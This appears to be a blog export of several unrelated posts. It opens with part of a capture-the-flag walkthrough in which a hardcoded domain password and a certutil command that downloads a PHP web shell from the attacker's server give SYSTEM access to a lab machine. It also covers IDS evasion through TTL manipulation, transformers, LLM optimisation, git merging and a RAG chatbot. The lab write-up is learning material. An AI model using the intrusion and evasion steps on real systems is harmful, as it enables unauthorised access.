cat user.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\drbrown.HOSPITAL\Desktop>type user.txt
type user.txt
<REDACTED>

Privilege escalation - Windows

On Dr Brown’s machine is a bat file.

C:\Users\drbrown.HOSPITAL\Documents>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 7357-966F

 Directory of C:\Users\drbrown.HOSPITAL\Documents

04/08/2024  05:28 AM    <DIR>          .
04/08/2024  05:28 AM    <DIR>          ..
10/23/2023  03:33 PM               373 ghostscript.bat
04/08/2024  05:28 AM            45,272 nc.exe
               2 File(s)         45,645 bytes
               2 Dir(s)   4,082,753,536 bytes free

Reviewing the file reveals a hardcoded password.

C:\Users\drbrown.HOSPITAL\Documents>type ghostscript.bat
type ghostscript.bat
@echo off
set filename=%~1
powershell -command "$p = convertto-securestring '<REDACTED>' -asplain -force;$c = new-object system.management.automation.pscredential('hospital\drbrown', $p);Invoke-Command -ComputerName dc -Credential $c -ScriptBlock { cmd.exe /c "C:\Program` Files\gs\gs10.01.1\bin\gswin64c.exe" -dNOSAFER "C:\Users\drbrown.HOSPITAL\Downloads\%filename%" }"

The password can be tried on potential other services; for instance, RPC.

Password for [WORKGROUP\drbrown]:
rpcclient $>

A note on RPC

• Remote Procedure Call (RPC) is a protocol that allows a program on one computer to execute a procedure (a subroutine or function) on another computer without understanding the network’s details. In essence, RPC abstracts the complexities of network communication, allowing developers to focus on implementing the function rather than the communication mechanism. This is particularly useful in distributed systems, where different parts of an application may reside on different networked computers.

• RPC operates on a client-server model. The client requests that a procedure be executed on the server. The RPC system then packages the procedure’s parameters, sends them over the network to the server, executes the requested procedure on the server with the supplied parameters, and sends the result back to the client.

Once the RPC shell is established, executing querydispinfo will return a description of the various users on the target machine.

This reveals the presence of a local administrator account.

Enumerating the directory structure further reveals the presence of the xampp\htdocs folder.

A note on xampp\htdocs:

• The xampp\htdocs folder is a directory used by XAMPP, a popular open-source cross-platform web server solution stack package. XAMPP stands for Cross-Platform (X), Apache (A), MariaDB (M), PHP (P), and Perl (P). It is designed to be an easy-to-install Apache distribution containing MariaDB, PHP, and Perl, making it a convenient tool for developers to create and test web applications on their local machines before deploying them to a live server.*

• If found on a machine in a production environment or accessible over a network, it could be a security concern. XAMPP is not designed with security in mind for production use; its default configuration is meant for development purposes only, with minimal security settings. An improperly secured XAMPP installation accessible over a network can be exploited by malicious actors.

The permissions on the location reveal any user can read and execute the location and NT Authority has full control.

A malicious file uploaded to the location could theoretically be executed in the context of NT Authority.

*Evil-WinRM* PS C:\xampp\htdocs> Get-Acl | Format-List

Path   : Microsoft.PowerShell.Core\FileSystem::C:\xampp\htdocs
Owner  : BUILTIN\Administrators
Group  : HOSPITAL\Domain Users
Access : NT AUTHORITY\LOCAL SERVICE Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
         BUILTIN\Users Allow  AppendData
         BUILTIN\Users Allow  CreateFiles
         CREATOR OWNER Allow  268435456

The shell used earlier was re-used here. First, it was served locally on the attack machine and then retrieved on the Windows target within the potentially vulnerable htdocs folder.

──(kali㉿kali)-[~/…/htb-machines/hospital/exploits/p0wny-shell]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

*Evil-WinRM* PS C:\xampp\htdocs> certutil -urlcache -f http://10.10.14.2:8000/shell.php shell.php

Browsing to the uploaded shell on the Windows machine successfully obtains another web shell in the context of the NT Authority user.

The root flag is found.

DC$@DC:C:\xampp\htdocs# whoami
nt authority\system

DC$@DC:C:\xampp\htdocs# type c:\Users\Administrator\Desktop\root.txt
<REDACTED>

Key Features of Transformers

• Self-Attention: allows the model to dynamically focus on different parts of an input as it processes information, enabling it to capture context and relationships between words effectively.

• Parallel Processing: Transformers can process entire data sequences in parallel, significantly speeding up training and improving the model’s ability to handle long sequences. Previous sequence models like RNNs (Recurrent Neural Networks) and LSTMs (Long-Short-Term Memory Networks) could only process data sequentially.

• Layered Structure: Transformers comprise multiple layers of self-attention and feed-forward neural networks. A layered structure enables Transformers to learn complex patterns and relationships in the data, which is critical to the depth of their performance on a broad range of NLP tasks.

• Scalability: Due to parallel processing and efficient training on large datasets, transformers are highly scalable, making them suitable for cases requiring an understanding of complex and nuanced language.

Applications

Many state-of-the-art NLP models, such as BERT (Bidirectional Encoder Representations from Transformers) and GPT (Generative Pretrained Transformer), have a Transformer foundation. These models have set new benchmarks in various NLP tasks, such as text classification, machine translation, question answering, and text generation.

The transformer model’s ability to understand context and nuance in text has enabled the development of more sophisticated and interactive AI applications, and it is a cornerstone of modern NLP research.

The architecture

Transformer architectures have three broad models:

• Encoders

• Decoders, and

• Encoder-Decoders (Sequence-to-Sequence)

Encoders

Encoders in transformers process input text into a format (vector representations) that captures the essence of the original information.

Encoder models are bidirectional.

Because encoders consider the context from both before and after a given word within the same layer, they are said to be bi-directional. Bi-directional capability contrasts with traditional models that process input in a strict uni-directional sequence (either left-to-right or right-to-left). Thus, it could only incorporate context from one direction at a time in their initial layers.

Imagine the sentence, The cat sat on the mat. Bidirectionality means that when processing the word sat, the encoder considers the context of The cat (words before sat) and on the mat (words after sat) simultaneously. This allows the encoder to understand that sat is an action performed by the cat and it occurred on the mat, integrating full-sentence context into its representation of sat.

In contrast, unidirectional models, such as decoders (see below), would only consider “The cat when first encountering sat, meaning it misses the contextual clues provided by on the mat until later layers, or not at all, depending on the model’s overall architecture.

Bi-directional processing enables transformers to capture a more nuanced and complete understanding of language, which makes them particularly effective for tasks that require a deep understanding of context, such as sentence classification, sentiment analysis, and named entity recognition.

Encoders use self-attention layers to understand relative context.

Encoders in transformer models aim to evaluate and understand each part of the input text relative to the entire text. This is achieved by first converting each word or part of the input into a vector representation using embeddings. For each of these vector representations, the model generates three distinct vectors: Query (Q), Key (K), and Value (V). The Q, K, and V vectors are then utilised to calculate attention scores, determining the weight each word’s representation should assign to every other word’s representation in the input. This weighting process enables the model to determine how much ‘attention’ or importance each part of the input should give to other parts, effectively allowing each word to consider the context provided by the entire input. This mechanism, known as self-attention, is pivotal for the model’s ability to capture and utilise contextual information within the input.

Encoder-only models are often used in tasks that require understanding the input, like sentence classification or named entity recognition.

Decoders

Decoders use a masked self-attention layer.

Self-attention in decoders is said to be masked. Masking prevents a decoder from ‘seeing’ future parts of the sequence during training, ensuring each word prediction is based only on already generated words. In other words, during generating an output sequence, each position can only attend to positions that preceded the current position in the sequence. This constraint is crucial for text generation, where models predict the next word based on the previous ones.

For example, imagine the decoder is generating the text The quick brown fox. When it’s predicting the word after The quick, the masked self-attention mechanism allows the decoder to consider The and quick but not brown or fox because those words are in the future relative to the predicted current position. This masking effectively enforces a uni-directional flow of information, ensuring that the model generates each word based solely on preceding words, preserving the natural order of text generation.

Because of masked self-attention, decoders are uni-directional.

They generate output one element at a time in a forward direction. In decoders, the future context is deliberately obscured to mimic the process of creating language one word at a time, making the decoding process fundamentally uni-directional.

If decoders were not uni-directional and could instead attend to the entire input sequence indiscriminately (similar to encoders), the integrity of the generated output sequence would be compromised. Specifically, the following issues could arise:

• Loss of Sequential Generation Logic: Predicting the next word becomes moot if the decoder has access to future words, undermining the process of sequential text generation.

• Incoherent or Circular Outputs: Due to premature knowledge of future context, outputs might repeat or loop without a logical progression.

• Compromised Learning Objective: The model’s focus shifts from generating text based on learned structures to merely matching patterns, diluting the essence of language generation.

The generation of each element of the output sequence one at a time is Auto-Regression.

Generating each element of the output one at a time, based on the previously generated elements, is known as Auto-Regression. The auto-regressive property necessitates the use of masked self-attention in the decoder, as it relies on the premise that each step in the generation process only has access to previous steps.

In summary, decoders are uni-directional because their self-attention layer is masked. Masking supports the auto-regressive nature of the generation process, ensuring that each step in generating the output can only use information from the steps that have already occurred.

Decoder-only models are particularly useful for generative tasks like text generation.

Encoders-decoders

Are also known as sequence-to-sequence. These models are good for generative tasks that are based on an input, such as translation or summarisation.

Self-Attention Layers

Attention layers refer to any layer within a neural network that applies some form of the attention mechanism. Attention mechanisms allow models to focus on different parts of the input data with varying degrees of emphasis.

Self-Attention is one type of attention mechanism.

Self-Attention in transformer models enables each position in the input sequence to attend to all positions within the same sequence. Self-Attention enables transformers to process and interpret sequences of input data, such as sentences in natural language processing (NLP) and dynamically weigh the relevance of all parts of the input data against every other part when processing any single part, enabling the incorporation of relatively weighted context from the entire sequence.

In other words, self-attention allows a model to understand the relationships between words, regardless of their positional distance. Here’s a more detailed look at how self-attention works:

For example, imagine the sentence: The cat purrs.

Step 1 - Input representation
First, each word in the sentence (The, cat, purrs) is converted into a vector using embeddings. These vectors contain each word’s initial context.

Step 2 - Query, Key, and Value Vectors
For each word, three vectors are generated from its embedding: a Query vector (Q), a Key vector (K), and a Value vector (V). This is done through linear transformations, which essentially means multiplying the word’s embedding by different weight matrices for Q, K, and V.

Step 3 - Calculating attention scores
The “dot product” of the Query vector for purrs is calculated with the Key vector of every word in the sentence, including itself. Calculating the dot product with the Key vector (K) of every other word produces scores that represent how much attention purrs should pay to each word in the sentence, including The and cat.

Step 4 - Softmax to Determine Weights
These scores are converted into weights that sum to 1 through a mathematical normalisation process (a softmax function). The weights quantify the relevance of each word’s information to the word purrs.

Step 5 - Weighted Sum and Output
The weights are used to create a weighted sum of the Value vectors, which incorporates information from the entire sentence into the representation of purrs. For instance, the high weight of cat (since it’s directly related to purrs) ensures that purrs is understood in the context of The cat, reinforcing that it’s the cat doing the purring.

The result is contextual representation.

Thanks to the self-attention mechanism, the output vector for “purrs” now contains information about the word itself and how it relates to the other words in the sentence.

This process is repeated for every word, enabling the encoder to understand and represent each word in the context of the entire sentence. Through this mechanism, transformers deeply understand the text, considering the meaning of individual words and their broader context within the sentence.

So clever.

Sources

• Self-Attention is all you need

• Wikipedia

• Huggingface.co NLP Course

What is TTL

Time-to-live (TTL) is a computing mechanism that limits the lifespan or validity of data in a network. TTL is a value included in IP packets that tells a network router how many hops (transfers from one network segment to another) the packet is allowed before it should be discarded. The TTL value prevents data packets from circulating indefinitely and causing network congestion.

TTL values are set in the header of IP packets. The TTL value is an 8-bit field ranging from 0 to 255. The value set in this field determines the maximum number of routers (hops) the packet can pass through before it is discarded or dropped.

The initial TTL value of a packet can vary depending on the operating system or the application generating the packet. Some common initial values used by different systems include:

• Linux-based systems: 64

• Windows-based systems: 128

• Network equipment like Cisco routers: 255

The choice of the initial TTL value is a balance between ensuring that packets have enough hops to reach their destination under normal conditions and preventing packets from circulating unnecessarily, which is important to mitigate network congestion.

What Happens When the TTL Reaches 0

When the TTL value of an IP packet decrements to 0, it indicates that the packet has reached the maximum allowed number of hops (routers) without reaching its intended destination. The router that decrements the TTL value to 0 will discard the packet and typically send an ICMP (Internet Control Message Protocol) Time Exceeded message back to the source IP address. This ICMP message notifies the sender that the packet was not delivered due to the TTL expiring.

TTL Manipulation

Reconnaissance and Probing

Intentionally manipulating the TTL with lower-than-normal values can be used in network reconnaissance. By controlling the TTL value, a threat actor can elicit the ICMP Time Exceeded response from various appliances on a network. These responses can help infer the overall layout, map network paths, or identify the presence and location of specific appliances.

Bypassing Security Measures

Another application of TTL manipulation involves deceiving IDS and IPS appliances to smuggle malicious packets past these security controls.

This technique operates on the principle of sending two sets of packets with carefully selected TTL values and identical sequence numbers, exploiting the way some security devices handle packet inspection and filtering.

Initial Probing Packets: The threat actor sends a series of packets towards the target system with TTL values calibrated such that they expire right before reaching the target, yet after passing the IDS/IPS. These packets, designed to appear benign, prompt the IDS/IPS to log their sequences but ultimately discard them as they do not reach the destination due to TTL expiry.

Follow-Up Malicious Packets: Subsequently, the attacker sends another set of packets with identical sequence numbers as the probing packets, but this time, containing a malicious payload. These packets are sent with TTL values that ensure they reach the target. The critical manipulation here lies in setting the TTL of the probing packets to expire just beyond the IDS/IPS, thus avoiding further inspection of the subsequent malicious packets.

The IDS/IPS Deception: Many IDS/IPS configurations are optimised to reduce performance overhead, which includes minimising duplicate packet inspection. They might treat these follow-up packets as duplicates of the initial, already-checked sequence, thus not subjecting them to thorough scrutiny. Consequently, the packets carrying the malicious content bypass the IDS/IPS checks, reaching the target system unnoticed.

Incorporating Fragmentation with TTL Manipulation

Another method combines packet fragmentation with TTL manipulation to evade security controls. This technique leverages the fact that some security devices may not thoroughly inspect or reassemble fragmented packets.

By fragmenting malicious payloads and carefully setting the TTL values, attackers can craft packets that are less likely to be detected by traditional security mechanisms.

Fragmenting packets involves dividing the malicious payload into smaller fragments, making it more challenging for security devices to inspect packets and accurately identify and block harmful content.

Alongside fragmentation, the attacker manipulates the TTL values to ensure that the fragmented packets bypass the security devices with minimal scrutiny. The manipulated TTL values can help ensure that the fragments take a path through the network that avoids comprehensive inspection or takes advantage of devices that do not reassemble packets for inspection.

By carefully orchestrating the fragmentation and TTL settings, the attacker can potentially deliver the malicious payload past IDS, IPS, and firewalls. Once the fragments reach their target, they can be reassembled into the original malicious payload, executing the intended attack without being detected by the network’s security infrastructure.

Mitigation and Real-world Application

The effectiveness of these techniques in real-world scenarios can vary significantly. Modern Intrusion Detection and Prevention Systems are designed to mitigate such evasion tactics.

These systems often incorporate advanced algorithms and analysis of behaviour patterns to detect and counteract unusual TTL values and fragmented packet strategies.

To enhance network security against such TTL manipulation techniques, administrators can consider the following mitigation strategies:

• Enhanced Packet Inspection: Configure IDS/IPS to perform in-depth packet inspections, including analysing fragmented packets and verifying packet integrity.

• Anomaly Detection: Implement anomaly-based detection systems that identify unusual traffic patterns, including atypical TTL values.

• Regular Updates and Patching: Keep security devices updated with the latest software patches and threat intelligence to defend against new and evolving tactics.

• Comprehensive Security Practices: Employ a multi-layered security approach that includes encryption, firewalls, and end-to-end monitoring to reduce reliance on any single point of failure.

This advanced method illustrates the capacity for TTL manipulation in mapping network defences and its potential in crafting evasion strategies that exploit specific weaknesses in the security infrastructure’s logic and configuration.

Conclusion

Malicious TTL manipulation and packet fragmentation represent sophisticated evasion techniques that challenge traditional network security measures. Network administrators can better protect their infrastructure against these and other advanced threats by understanding and mitigating these tactics.

Contents

• A framework for understanding optimisation

• Using the framework for maximising model performance

  • Start with prompt engineering

  • Is it a context issue?

  • Is it an actions issue?

• Useful resources

A Framework for understanding optimisation

The recent developer conference hosted by OpenAI offered a deep dive into enhancing the capabilities of large language models (LLMs). The presenters, John and Colin, shared their insights on optimising LLMs.

You can watch the video here - I encourage you to do so!

Optimisation of base models can be a critical step on the path to Production. A base model may show promise in a specific application but may lack consistency in a desired behaviour or knowledge to warrant its deployment.

The optimisation approach will depend on which aspect of the model needs improvement. John and Colin from OpenAI propose two primary dimensions of optimisation.

Graphic adapted from OpenAI’s presentation

For example, a base-model LLM will fail to generate a report on the most recent market trends because it doesn’t know them. Why? Because they were never present in its pre-trained knowledge. In cases like this, the model is said to need context optimisation.

Base models might not consistently follow instructions when the model is required to output particular formats or styles or requires multiple steps or complex reasoning. Some examples of these use cases are generating code from natural language or extracting structured data from unstructured text. In these cases, the model itself requires optimisation.

Using the framework for maximising model performance

Understanding model optimisation in this framework can help identify whether the issue is a context problem or an action problem. Once this is understood, appropriate techniques can be applied.

In the case of context optimisation, Retrieval Augmented Generation (RAG) is likely a good start. To optimise the LLM itself, consider fine-tuning.

Of course, in other cases, a combination of optimising how a model acts and what it knows will be required.

Graphic adapted from OpenAI’s presentation

Start with prompt engineering.

In either case, prompt engineering is the best approach to start with, as it offers a quick way to test and learn what dimensions should be optimised and sets a baseline for further improvements.

This stage is as simple as starting with a prompt. Then, consider adding a few shot examples (for context issues) or employing a few shot learning (for acting issues). If this yields improvements, you’ll have a good baseline from which to iterate further.

What are few-shot examples?

Few-shot examples refer to the specific instances or data points that are used in the process of few-shot learning. These are the actual samples from which the model is expected to learn or generalise. In a practical sense, if you were providing a machine learning model with few-shot examples, you would give it a very limited number of examples per class from which it needs to learn.

What is few-shot learning?

On the other hand, few-shot learning is the broader concept or methodology that involves training a model to accurately make predictions or understand new concepts with only a few examples. Few-shot learning is particularly relevant when the goal is to develop models that can generalise well from limited data—something that is especially challenging and important when large datasets are not available or when trying to improve model adaptability and efficiency.

Is it a context issue?

Prompt engineering alone is unlikely to be sufficient in more complex use cases, and it doesn’t scale well (remember, we want a Production-grade solution).

If prompt engineering has revealed a context issue, optimising with RAG is a logical next step. For an overview of RAG, see this article the following article (or skip to this part of the video).

Retrieval Augmented Generation (RAG)

RAG is typically good for introducing new information to the model, updating its knowledge, and reducing hallucinations by controlling content. If done correctly, the model will act as if it is explicitly amnesic to everything it was trained on while still retaining its implicit intelligence. In other words, the only knowledge it explicitly has is what has been provided in the RAG implementation.

Simple retrieval

Adding a simple RAG retrieval will ground the model in the desired context source. Embeddings and cosine similarity algorithms can provide the model with access to a repository from which it can pull data, for example.

Cosine similarity algorithms measure the cosine of the angle between two non-zero vectors in a multi-dimensional space, providing a metric for how similar these vectors are.

Other RAG options

Other, more advanced RAG options include Hypothetical Document Embeddings(HyDE) (with a fact-checking step). HyDE is essentially a technique where, instead of using the question’s vector to search for answers with an embedding similarity, a HyDE implementation will employ contrastive methods, generate a “hypothetical” answer in response to the prompt, and use that “made-up” answer to search for context instead.

HyDE techniques can be helpful in cases where the model will receive questions that lack specificity or easily identifiable elements, making it difficult to derive an answer from the integrated context source.

HyDE won’t always yield good results. For example, if the question is about a topic that the LLM is unfamiliar with - such as some new concept that was not present in the pre-trained knowledge - then it will likely lead to an increase in inaccurate results and hallucinations. The reason is that if it doesn’t know anything about the topic, the hypothetical answer it created to retrieve context will have no basis in reality…a hallucination, in other words.

This is probably why OpenAI presented HyDE in the video with the + fact-checking step!

RAG evaluation

It’s important to remember that adding RAG to a solution creates an entirely new set of challenges. As John points out in the video, LLMs already hallucinate on their own. If the context the model uses to ground its responses is fundamentally or systematically flawed, understanding whether the solution fails because of the RAG integration or an inherently hallucinatory trait within the model will be challenging. For this reason, evaluation frameworks are crucial.

The video mentions an open-source evaluation framework called Ragas from Exploding Gradients. Ragas measures four metrics: two evaluate how well the model answered the question (Generation), and two measure how relevant the content retrieved is to the question (Retrieval).

The Generation metrics are:

• Faithfulness - a measure of how factually accurate the answer is.

• Answer relevancy - how relevant the generated answer is to what was asked.

The Retrieval metrics are:

• Context precision - The signal-to-noise ratio of retrieved context.

• Context recall - Can it retrieve all the relevant information required to answer the question?

Context precision is particularly useful because providing RAG implementation with more chunks of data potentially containing relevant context doesn’t always work. John mentions a paper, Lost in the Middle: How Language Models Use Large Contexts, which explains that the more content given, the more likely the model is to hallucinate because LLMs tend to “forget” the content in the middle of a chunk. Not surprisingly, this is reminiscent of the Serial Position Effect observed in human cognition, which is the tendency to remember the first and last items in a list better than those in the middle. This effect has been well-researched in psychological science and can form part of the basis for various cognitive biases.

On the other hand, context recall helps to understand the utility of the search mechanism. A common misconception with RAG implementations is that it will always find the proper context. But there is a fundamental constraint to remember: how many tokens can that context window accept. If it were possible to pass the entire context source to the LLM for each prompt, then context recall would never be an issue. But the computing power required for even a modest context source would make this unviable.

The missing piece to consider is that the prompt is parsed into some search function, and it is the search function that surfaces the (ostensibly) relevant context. It is this surfaced context that the LLM relies on. So, evaluating context recall will help identify if the search process is surfacing up the most relevant context. If not, the search function may need optimising, such as re-ranking or fine-tuning the embeddings.

Graphic adapted from OpenAI’s presentation

Is it an actions issue?

If the required optimisation is related to how the model needs to act, then fine-tuning will likely be a good approach. Fine-tuning “continues the training process on a smaller domain-specific dataset to optimise a model for a specific task”.

Fine-tuning

Fine-tuning is equivalent to teaching a general knowledge worker a specialised skill. It can drastically improve a model’s performance on a specific task while also making the fine-tuned model more efficient (on that specific task) than its corresponding base model.

Fine-tuning is often more effective than prompt engineering or few-shot learning because a much smaller token count inherently constrains these techniques. Only so much data can be put into the context window, whereas in fine-tuning, exposing the model to millions of tokens of specialised data is achieved relatively easily.

In terms of model efficiency, fine-tuning provides a way to reduce the number of tokens otherwise needed to get the model to perform the specialised task. Often, there is no need to offer in-context examples or explicit schemas, which translates into saved tokens. Sometimes, it can also distil the specialised task into a model smaller than the base one from which it was derived. Again, this ultimately translates into saved resources.

When fine-tuning, Colin suggests in the video that you start with a simple dataset without complex instructions, formal schemas, or in-context examples. All that is needed are natural language descriptions and the desired structure of the output.

Where fine-tuning excels

Fine-tuning works well when it emphasises pre-existing knowledge within the model, is used to customise the structure or tone of the desired output, or fine-tunes a highly complex set of instructions. The example given in the video is that of a text-to-SQL task. Base models like GPT-3.5 and GPT-4 already know everything there is to know about SQL, but they might perform poorly if asked about an obscure dialect of SQL. Fine-tuning is equivalent to telling the model to emphasise those aspects of its already present knowledge.

Where it won’t excel

Fine-tuning will not work to teach the model something new. And the reason can be thought of as the inverse of why fine-tuning excels in emphasising pre-existing knowledge. Consider the large datasets for some LLMs (like the-entirety-of-the-internet large). These training runs were so extensive that any attempt to use fine-tuning to inject new knowledge would be quickly lost in the pre-existing knowledge. If this is the objective, approaching the problem with RAG will be better.

Lastly, fine-tuning is a slow, iterative process. Preparing data and training requires a lot of investment, so it isn’t great for quick iterations.

Quality over quantity

It’s worth jumping to this part of the video for a humourous and cautionary tale on quality over quantity. In short, the takeaway from here is to ensure the fine-tuning data accurately represents the desired outcome; start small, confirm movement in the right direction, and then iterate from there.

And if you think fine-tuning a model on 200,000 of your Slack messages is a good place to start, maybe consider that a little longer.

Useful resources

• A Survey of Techniques for Maximizing LLM Performance (Original OpenAI video on which this article is based)

• Lost in the Middle: How Language Models Use Large Contexts

Introduction

When a GitHub repository is forked, it can maintain a connection with the original codebase, which is called the upstream repository or branch. This connection means that the forked repository can be modified as needed, but if changes are made to the original, such as new features, they can be integrated into the forked version.

This article outlines the steps to pull changes from an upstream repository into a forked version. Specifically, it outlines how to pull changes into a separate branch for testing and then how to merge those changes into the main branch of the fork after testing and resolving any conflicts1.

High-level workflow for Merging Upstream Changes:

1. Creating a New Branch: When upstream changes need to be merged, create a new branch in the forked repository based on the forked repository’s main branch.

2. Pulling Upstream Changes: Pull the changes from the upstream repository into this new branch. Resolve any conflicts here.

3. Testing: Use this branch to test the deployment to ensure everything works as expected. For example, if it’s a website, run it locally from the new branch, or if it’s a deployment, deploy from the branch to confirm everything is in order.

4. Creating a Pull Request: Once the branch with the upstream changes has been tested, create a Pull Request to merge this branch into the main branch. The Pull Request can be drafted during testing if necessary.

5. Review and Merge: Review the Pull Request in GitHub. After any necessary approvals, merge the Pull Request.

6. Delete the Branch: After the merge, the branch used to test the upstream changes can be deleted.

Prerequisites

• Ensure Git is installed on the system.

• Ensure access to the repository and its upstream repository.

Steps

1. Navigate to the local repo

2. Update the local main branch

Ensure the local main branch (or whichever branch will ultimately receive the tested upstream changes) is up to date with the remote repository.

git checkout main 
# Checkout the local copy of the main branch

git pull origin main 
# Pull remote changes into the local copy of the main branch

3. Fetch changes from the upstream repository

Fetch changes from the upstream repository without merging them.

git fetch upstream

4. Create a new branch for testing the upstream changes

Create a new branch based on the main branch to test the upstream changes.

This is important, as it protects the stability of the branch from which the code is deployed.

git checkout -b upstream-changes main 
# Create a new branch called upstream-changes based off the main branch

5. Merge upstream changes into the new branch

Merge the changes from the upstream repository into the new branch.

git merge upstream/main

Resolving merge conflicts

If there are merge conflicts, Git will pause the merge process and mark the files that have conflicts. Here is how to resolve them:

• Open the conflicted files in VS Code.

• Look for the areas marked as conflicts (usually indicated by <<<<<<, ======, and >>>>>>>).

• Manually edit the files to resolve the conflicts. Choose which changes to keep or combine as needed.

• After resolving conflicts, add the files to staging: git add .

• Then, continue the merge process: git merge --continue

• Once all conflicts are resolved and the merge is successful, proceed with the next steps.

6. Push the new branch to Github

It’s good practice to push the newly created branch with the upstream changes to the remote repository.

git push origin upstream-changes

7. Open a Pull Request in GitHub

Now, the Pull Request can be opened in draft.

Be careful that the Pull Request is proposing to pull the upstream-changes branch into your own main branch, and not the main branch of the upstream repository.

• Go to the repository in GitHub.

• Open a Pull Request for the upstream-changes branch against the main branch.

• This usually initiates any review process.

Do not merge it yet.

8. Deploy the Test branch

Deploy or run the upstream-changes branch locally, or undertake whatever steps are required to confirm the changes.

9. Review and merge the pull request

If the tests are successful, merge the changes into main by merging the pull request into the main branch through the GitHub interface2.

10. Update the local main branch and clean up

After merging the pull request, update the local main branch and then delete the test branch.

git checkout main 
# Switch back to the main branch

git pull origin main 
# Pull the remote version of main to the local copy so it is up-to-date with the recent merge

git branch -d upstream-changes 
# Delete the local copy of the branch used to test the upstream changes

git push origin --delete upstream-changes 
# Delete the remote copy of the branch used to test the upstream changes

11. Redeploy from the main branch

If required, it’s good practice to now re-deploy the codebase from the main branch.

Conclusion

This process ensures that changes from the upstream repository are tested in isolation before being integrated into the main branch, minimising the risk of disruption to the main codebase.

A quick note on Git Fetch vs. Git Pull

In Git, both git fetch and git pull are commands used to update local repository copies from a remote source. However, they serve different purposes and operate in distinct ways.

• git fetch retrieves updates from a remote repository but doesn’t automatically merge them into the current working branch. When git fetch upstream is executed, for instance, Git fetches any new work that has been pushed to the upstream repository since the last fetch, updating the local remote-tracking branches (like upstream/main). However, the working directory remains unchanged. This command is useful for reviewing changes before integrating them into the local branch.

• git pull, on the other hand, is a more aggressive command that not only fetches updates from the remote repository but also automatically merges them into your current working branch. Essentially, git pull is a combination of git fetch followed by git merge. When executed git pull origin main, Git fetches the changes from the main branch of the remote named origin and immediately attempts to merge them into the current working branch. This command is handy for quickly updating local branches with the latest changes from the remote, assuming they’re ready to be merged without a review process.

In Summary git fetch is when the changes require review before merging. Use git pull when integrating the remote changes immediately into the local branch without a preliminary review is not a concern.

Introduction

This project leverages a Retrieval Augmented Generation (RAG) implementation to create an intelligent question-answering system for a website. The project automates the collection of contextual data from the site, processes this data with an embeddings model to generate vector representations, and utilises these vectors to provide relevant answers to user queries through a chatbot using a Language Model (LLM) to craft responses in a conservational tone.

You can find the code and a detailed overview in the Github repository.

Contents

• What is RAG

• Embeddings

• Implementation overview

• Code overview

What is Retrieval Augmented Generation (RAG)

Retrieval Augmented Generation (RAG) is a sophisticated approach that enhances the capabilities of generative models, particularly Large Language Models (LLMs), by integrating an additional information retrieval step into the response generation process. This method involves dynamically sourcing relevant external information to augment the input provided to the generative model, thereby enriching its responses with details and insights not contained within its pre-trained knowledge base. Embeddings and vector representations typically facilitate the retrieval of additional information to identify content contextually similar to the user’s prompt.

What are Embeddings

Embeddings are a form of representation learning where words, sentences, or even entire documents are converted into real-valued vectors in a high-dimensional space. This process aims to capture the semantic meanings, relationships, and context of words or phrases, allowing machines to process natural language data more effectively. The vectors in the high-dimensional space represent the nuanced characteristics of the text, such as syntax, semantics, and usage patterns, in a form that can be quantitatively analysed. Each dimension could correspond to a latent feature that captures different aspects of the text’s meaning, not directly interpretable by humans but discernible through computational methods. By mapping textual information to a geometric space, embeddings enable the measurement of conceptual similarity between pieces of text based on their positions and distances within this space, facilitating tasks like search, classification, and contextual understanding in natural language processing applications. In the context of Retrieval-Augmented Generation (RAG), embeddings represent the queries (prompts) and the potential knowledge sources in a format that a computer can understand and compare.

Vector Representations

Vector representations are the outcome of converting text into embeddings, representing text as points or vectors in a multi-dimensional space. As described above, each dimension corresponds to a feature of the text, capturing various aspects of its meaning, context, or syntactical properties. Comparing vector representations involves calculating the similarity (often using cosine similarity or other metrics) between vectors to identify how closely related two pieces of text are. In RAG implementations that use embeddings, the vector representation of a user’s prompt is compared to the vector representations of various knowledge sources to identify the most relevant context. This relevant context is then retrieved and used to augment the response generated by a language model, enhancing the LLM’s ability to provide accurate and contextually enriched answers.

Overview of a RAG implementation

The diagram below briefly outlines how a Retrieval-Augmented Generation (RAG) architecture leverages embeddings. In short, additional context is retrieved by comparing the prompt's vectors to the knowledge source's vectors. The related textual data is then appended to the prompt to augment the response generated by the LLM.

Example implementation

Point 1: In the case of this particular implementation, the knowledge source is a blog. The knowledge is obtained by first extracting all the hyperlinks on the site and discarding any that point to other domains. Each unique hyperlink is then visited, and the content is extracted into text files. The text files are then used to create a data frame. Each row in the data frame is tokenised to facilitate analysing the length of documents, which is relevant for understanding the data’s distribution and optimising model input sizes.

Point 2: After more processing to create smaller chunks (if required), the embeddings are generated and saved. In this case, to a .csv file.

<SNIP>
https://emdeh.com/repositories
https://emdeh.com/news/announcement_7
https://emdeh.com/blog/2024/codify-walkthrough
Embeddings generated and saved to 'data/embeddings.csv'.
Preprocessing complete. Embeddings are ready.

# You can see the blog's links being iterated here.

Points 3 - 5: When a user provides the prompt to the service, the embedding model will generate its vector representation.

Point 6: The service then compares the prompt’s vector to the Vector DB (in this case, the .csv file containing the blog’s vector representations is loaded into another data frame).

The comparision is done using Cosine function to calculate the distance between the question’s embedding and each row’s embedding in the data frame. Cosine distances is a measure used to determine the similarity between two vectors, with lower values indicating higher similarity.

The service will then iterate over the data frame to accumulate the most similar text until it reaches a pre-defined token limit. This then forms the context for the original prompt.

Points 7 - 9: The context and original prompt are now passed to the GPT model, which returns a generative completion. The end-user is presented with this completion.

Code overview

Data Collection and Preparation

preprocess.py crawls web pages within a specified domain and systematically navigates through the website, extracting text from each page it encounters. The collected text undergoes initial preprocessing to clean and organise the data, making it suitable for further analysis.

The script then employs OpenAI’s API to generate embeddings for each piece of text. These embeddings capture the semantic essence of the text in a high-dimensional space, facilitating the identification of contextual similarities between different texts. The processed data and its embeddings are saved for subsequent use, laying the groundwork for the system’s question-answering capabilities.

Flask Application for Question Answering

With the data prepared, app.py serves as the interface between the user and the system’s NLP engine. This script initiates a Flask web application, providing endpoints for users to submit their questions.

Upon receiving a query, the application leverages the previously generated embeddings to find the most relevant context within the collected data. It then formulates this context and the user’s question as input for an OpenAI GPT model. The model, trained on vast amounts of text from the internet, generates an answer that reflects the specific information in the crawled data and its understanding of the topic at large. The answer is then returned to the user through the web interface, completing the cycle of query and response.

Integration and Workflow

